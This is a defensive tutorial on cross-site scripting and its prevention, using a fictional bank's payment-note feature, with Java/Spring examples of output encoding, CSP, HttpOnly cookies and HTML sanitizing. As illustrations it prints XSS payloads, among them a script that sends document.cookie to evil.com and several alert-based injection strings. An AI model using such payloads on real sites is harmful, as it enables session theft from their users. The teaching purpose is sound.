Definition
- XSS (Cross-Site Scripting) – a vulnerability where an attacker injects malicious JavaScript into a web page so it executes in other users' browsers in the context of the trusted site.
- Impact – the attacker can steal cookies and tokens, perform actions as the victim, or deface the page.
- Output encoding – the primary defense: escape special characters (
<,>,&,",') when rendering untrusted data into HTML. - CSP – Content Security Policy header restricts allowed script sources and blocks inline scripts.
- HttpOnly cookies – prevent JavaScript from reading session tokens even if XSS succeeds.
- Three types – stored XSS (persisted), reflected XSS (echoed from request), DOM-based XSS (client-side).
Suppose National Bank of India shows a payment note that customers type, and it displays the note on the recipient's screen exactly as written. A dishonest customer writes a note that is actually a hidden instruction: secretly copy the reader's login and send it to me. When Priya opens the note, her browser obeys the hidden instruction as if the bank itself wrote it. XSS prevention is like the bank treating every customer note as plain text to be shown, never as an instruction to be followed.
Understanding the Concepts
What is XSS?
Cross-Site Scripting (XSS) is a vulnerability where an attacker injects malicious JavaScript into a web page. When other users load that page, their browsers execute the injected script in the context of the trusted site. The browser has no way to know the script is not legitimate.
The attacker can steal session cookies, tokens, perform actions as the victim, redirect the user, or deface the page.
<!-- Stored XSS: attacker saves this as a payment note --syn-kw">>
syn-kw"><scriptsyn-kw">>fetch('https://evil.com/?c='+document.cookie)syn-kw"></scriptsyn-kw">>
<!-- When Priya views the payment note, her browser runs the script --syn-kw">>
<!-- Her session cookie is sent to the attacker's server --syn-kw">>
What are the types of XSS?
There are three main types:
- Stored XSS: the payload is saved in the database (like a payment note, comment, or profile name) and served to every viewer.
- Reflected XSS: the payload is in the URL or request parameter and is echoed back in the response without sanitization.
- DOM-based XSS: client-side JavaScript writes untrusted data into the page (like
innerHTML = location.hash).
package com.bank.vulnerability;
// Stored XSS example: payment note saved in DB
public class StoredXssDemo {
// Attacker saves: <script>fetch('https://evil.com/?c='+document.cookie)</script>
// as a payment note. Every time a user views the note,
// their browser executes the script.
}
// Reflected XSS example: search parameter echoed in page
// URL: /search?q=<script>alert('xss')</script>
// Server renders: "Results for: <script>alert('xss')</script>"
// Browser executes the script.
// DOM-based XSS example:
// JavaScript: document.getElementById('output').innerHTML = location.hash;
// URL: /page#<img src=x onerror=alert('xss')>
// Browser executes the handler.
How does output encoding prevent XSS?
The primary defense is contextual output encoding: when placing untrusted data into HTML, encode the special characters so the browser renders them as visible text rather than executing them as code.
The characters <, >, &, ", and ' are replaced with their HTML entity equivalents.
package com.bank.security;
public class HtmlEncoder {
public static String encode(String input) {
if (input == null) return "";
return input
.replace("&", "&")
.replace("<", "<")
.replace(">", ">")
.replace("\"", """)
.replace("'", "'");
}
public static void main(String[] args) {
String malicious = "<script>fetch('https://evil.com/?c='+document.cookie)</script>";
String safe = encode(malicious);
System.out.println("Encoded: " + safe);
// Browser shows the text literally, does not execute it
}
}
Encoded: <script>fetch('https://evil.com/?c='+document.cookie)</script>
Browser renders: <script>fetch('https://evil.com/?c='+document.cookie)</script> (as visible text)
Nothing executes.
How do template engines help?
Modern template engines escape by default. Thymeleaf's th:text and React's JSX expressions automatically encode output. The danger is explicitly unescaped output like Thymeleaf's th:utext or React's dangerouslySetInnerHTML.
<!-- Thymeleaf: safe by default --syn-kw">>
syn-kw"><p th:text="${paymentNote}"syn-kw">>Notesyn-kw"></psyn-kw">>
<!-- Output: <script>... (escaped, safe) --syn-kw">>
<!-- Thymeleaf: DANGEROUS, unescaped --syn-kw">>
syn-kw"><p th:utext="${paymentNote}"syn-kw">>Notesyn-kw"></psyn-kw">>
<!-- Output: syn-kw"><scriptsyn-kw">>... (not escaped, XSS!) --syn-kw">>
// React JSX: safe by default
// <p>{paymentNote}</p> // automatically escaped
// React DANGEROUS:
// <p dangerouslySetInnerHTML={{__html: paymentNote}} /> // XSS risk!
What is Content Security Policy (CSP)?
CSP is an HTTP response header that tells the browser which sources are allowed for scripts, styles, images, and other resources. It blocks inline scripts and scripts from untrusted origins.
package com.bank.config;
import org.springframework.context.annotation.Bean;
import org.springframework.context.annotation.Configuration;
import org.springframework.security.config.annotation.web.builders.HttpSecurity;
import org.springframework.security.web.SecurityFilterChain;
import org.springframework.security.web.header.writers.ContentSecurityPolicyHeaderWriter;
@Configuration
public class CspConfig {
@Bean
public SecurityFilterChain filterChain(HttpSecurity http) throws Exception {
http.headers(headers -> headers
.contentSecurityPolicy(csp -> csp
.policyDirectives("default-src 'self'; "
+ "script-src 'self'; "
+ "style-src 'self'; "
+ "img-src 'self' data:;")
)
);
return http.build();
}
}
Response header:
Content-Security-Policy: default-src 'self'; script-src 'self'; style-src 'self'
Result: browser blocks inline <script> tags and scripts from other domains.
Even if XSS injects a script, CSP prevents execution.
How do HttpOnly cookies help?
Marking session cookies HttpOnly means document.cookie cannot read them. Even if XSS injection succeeds, the attacker cannot steal the session token.
// Set-Cookie: JSESSIONID=abc123; HttpOnly; Secure; SameSite=Strict
// XSS script tries:
// document.cookie --> "" (HttpOnly cookie is invisible to JavaScript)
// The attacker cannot steal the session token.
What about rich HTML that must be allowed?
For content that legitimately contains HTML (like a rich text editor), use an allowlist sanitizer that strips dangerous tags and attributes while keeping safe ones.
package com.bank.security;
import org.owasp.html.PolicyFactory;
import org.owasp.html.Sanitizers;
public class HtmlSanitizer {
private static final PolicyFactory POLICY = Sanitizers.FORMATTING
.and(Sanitizers.LINKS)
.and(Sanitizers.BLOCKS);
public static String sanitize(String untrustedHtml) {
return POLICY.sanitize(untrustedHtml);
}
public static void main(String[] args) {
String input = "<b>Payment note</b><script>alert('xss')</script>";
String safe = sanitize(input);
System.out.println("Sanitized: " + safe);
}
}
Sanitized: <b>Payment note</b>
// <script> tag stripped, <b> tag preserved
What are common mistakes?
The most common mistake is trusting input validation alone. The same value can be safe in one context and dangerous in another. Output encoding is the reliable foundation.
// WRONG: relying only on input validation
if (!input.contains("<script>")) { /* safe? NO! */ }
// Attacker uses: <img src=x onerror=alert('xss')> -- no <script> tag!
// CORRECT: output encoding regardless of input validation
String safe = HtmlEncoder.encode(input);
// All special characters escaped, any payload neutralized
What should a senior engineer know?
Senior engineers know that encoding must match the output context: HTML body, HTML attribute, URL, JavaScript, and CSS each require different escaping rules. Using HTML encoding inside a JavaScript context still allows injection.
Senior engineers also implement defense in depth: output encoding as the primary defense, CSP as the safety net, HttpOnly cookies to protect tokens, and Subresource Integrity (SRI) to detect tampered CDN scripts.
Visual Overview
XSS Attack Flow:
┌──────────┐ ┌──────────────┐
│ Attacker │ saves malicious │ Database │
│ │ payment note │ Stores note │
│ ├───────────────────►│ with <script>│
└──────────┘ └──────┬───────┘
│
┌──────────┐ views payment ┌──────┴───────┐
│ Priya │ note page │ Server │
│ (victim) │◄───────────────────┤ Renders note │
│ │ page with │ without │
│ Browser │ injected script │ escaping │
│ executes│ └──────────────┘
│ script! │
└──────────┘
With Output Encoding:
┌──────────┐ views page ┌──────────────┐
│ Priya │◄───────────────────┤ Server │
│ │ <script> │ Escapes note │
│ Browser │ shown as text │ on output │
│ safe! │ nothing executes └──────────────┘
└──────────┘
Key Takeaway
Cross-Site Scripting, or XSS, is a vulnerability where an attacker injects malicious JavaScript into a web page so that it runs in other users' browsers in the context of the trusted site. Because the script runs as if the site wrote it, the attacker can steal cookies and tokens, act as the victim, or deface the page. It comes in stored, reflected, and DOM-based forms, and a typical payload reads document.cookie and sends it to an attacker's server.
The primary defense is contextual output encoding: whenever untrusted data is rendered into a page, the special characters are escaped so the browser shows them as text rather than running them. Template engines help: Thymeleaf's th:text and React's JSX expressions escape by default. The danger points are the explicitly unescaped options like th:utext or dangerouslySetInnerHTML. For rich HTML that must be allowed, an allowlist sanitizer like the OWASP Java HTML Sanitizer strips dangerous tags while keeping safe ones.
In the National Bank of India project, customers attach a note to a transfer, and that note is shown on the recipient's dashboard: a classic stored XSS target. The unsafe renderer concatenated the note straight into HTML and produced a live script tag that would steal the viewer's session, while the safe renderer HTML-escaped it so the browser displayed the script as harmless visible text and ran nothing.
For defense in depth, a Content-Security-Policy header restricts scripts to the site's own origin and blocks inline injected scripts, and session cookies are marked HttpOnly, Secure, and SameSite so that even a successful injection cannot read the token. Encoding must match the output context, and input validation alone is not enough because the same value can be safe in one place and dangerous in another.
Remember one sentence: escape untrusted data on output so the browser shows it as text, never runs it as code.
---